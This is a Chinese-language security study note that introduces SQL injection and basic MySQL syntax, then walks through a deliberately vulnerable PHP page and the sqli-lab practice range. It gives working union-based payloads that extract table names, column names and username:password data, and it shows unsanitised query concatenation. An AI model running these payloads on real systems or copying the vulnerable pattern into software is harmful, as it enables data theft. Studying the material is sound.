本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记
先介绍一下什么是SQL注入
SQL注入(英语:SQL injection),也称SQL注入或SQL注码,是发生于应用程序与数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了字符检查,那么这些注入进去的恶意指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏或是入侵。
摘自:维基百科
也就是说,用户通过可以控制的参数,将SQL语句插入,从而造成服务端错将用户参数作为SQL语句执行的危险操作
这里以MySQL为例,介绍一下基础的SQL语句。
创建数据库:create database name
例:创建名为test的数据库
删除数据库:drop database name
例:删除名为test的数据库
使用数据库:use database
例:使用名为test的数据库
创建数据表:create table name ( 字段1 字段1类型,字段2 字段2类型...)
例:创建有id和value两个字段的数据表
删除数据表:drop table name
例:删除test数据表
查询数据:SELECT column_name,column_name FROM table_name [WHERE Clause] [LIMIT N][ OFFSET M]
例:查询test中的所有数据
插入数据:INSERT INTO table_name ( field1, field2,...fieldN ) VALUES ( value1, value2,...valueN );
例:向test中插入数据
更新数据:UPDATE table_name SET field1=new-value1, field2=new-value2 [WHERE Clause]
例:将test中id为1的value值改为value11
删除数据:DELETE FROM table_name [WHERE Clause]
例:删除test中id为4的行
limit m,n
通过limit子句来选中几条数据,m是开始的索引,n是获取的数量
例:获取test中从0开始的三条数据
order by 字段名 [ASC [DESC][默认 ASC]]
通过order by子句对输出的数据进行排序
例:获取test中的数据,以id倒序排列
union
UNION 操作符用于连接两个以上的 SELECT 语句的结果组合到一个结果集合中
database()
获取当前数据库
version()
获取当前数据库版本
user()
获取当前用户
例:获取当前使用的数据库,版本,用户
substr(str,m,n)
截取数据,其中str是要截取的数据,m是开始的索引,n是截取的字符数
例:截取test中id为1的value的前三位
注:limit的索引是从0开始的,substr的索引是从1开始的
获取当前数据库所有表select table_name from information_schema.tables where table_schema='db_name';
例:查询test数据库中的所有表
获取指定表中所有列名select COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'db_name' AND TABLE_NAME = 'tb_name';
例:获取名为test的数据库中test数据表中的所有字段名
我们接下来看一个实例
test.php
$con=mysqli_connect("localhost","root","123456","test");
if (mysqli_connect_errno()){
echo "连接失败:".mysqli_connect_error();
}
$id=$_GET['id'];
$sql="select * from test where id=".$id;
$result=mysqli_query($con,$sql);
$row=mysqli_fetch_array($result);
echo "id = ".$row['id']."
value = ".$row['value'];
echo "
";
?>
当我们访问http://192.168.1.9/test.php?id=1时,结果如下
在id处输入不同的id会返回不同的内容。
然而此时参数Id是可控的,攻击者可能输入
http://192.168.1.9/test.php?id=-1 union select 1,2
此时返回结果就变为
如果将1,2改为database(),version(),就可以获取数据库和版本信息
这时就发生了SQL注入漏洞。
sql注入分为两种情况:数字注入和字符注入,其他的如POST注入,Cookie注入等都是建立在这两种注入上的,只是注入的位置不同罢了。
刚才的实例就是一个数字型注入。
那么如何对SQL注入进行检验?
介绍一个最简单的方法:在参数后加上 and 1=1 和 and 1=2
由于1=1是恒成立的,所以会返回正确的结果,而1=2是不成立的,所以会报错
此时就可以确定该网站存在sql注入漏洞。
此外还有很多鉴别方法,将在后文继续介绍
先前演示了一个数字注入的例子,再列举一个字符注入的例子
这里我们用sqli-lab的靶场环境
url: http://192.168.1.9/sql1/Less-1/?id=1
我们访问这个url,可以看到返回了用户名和密码
此时在id后加入一个单引号,发现界面发生了错误
查看报错信息,看见这里是以单引号闭合的,语句中多了一个单引号
于是将id改为 1’ and ‘1’='1
返回了正确的页面
再改为1’ and ‘1’='2
发生了错误
此时即可判断存在SQL注入漏洞
参数的含义:在字符注入中,要注意闭合引号,在这里我直接留空闭合,也可以通过注释符闭合
常见的注释符:#、–+、–空格。这里是两个-号
在参数后加上order by 子句判断字段数
order by 1
order by 2
order by 3
order by 4
此时页面发生了错误,说明只有三个字段
接下来通过union子句获取回显位置
这里要讲id改为一个不存在的值,这样才会执行后面的union的语句,可以改成-1或0
这里看见回显了2和3
将参数中的2和3改为想要获取的内容,例如获取当前数据库和当前用户
爆表名
payload:id=-1’+union+select+1,2,group_concat(table_name)+from+information_schema.tables+where+table_schema=database()–+
爆出表users的字段名
payload:id=-1’+union+select+1,2,group_concat(column_name)+from+information_schema.columns+where+table_schema=database()+and+table_name=‘users’–+
爆内容,获取id,username,password的内容
payload:id=-1’+union+select+1,2,group_concat(id,0x3a,username,0x3a,password)+from+users–+
至此,就是一次完整的SQL注入攻击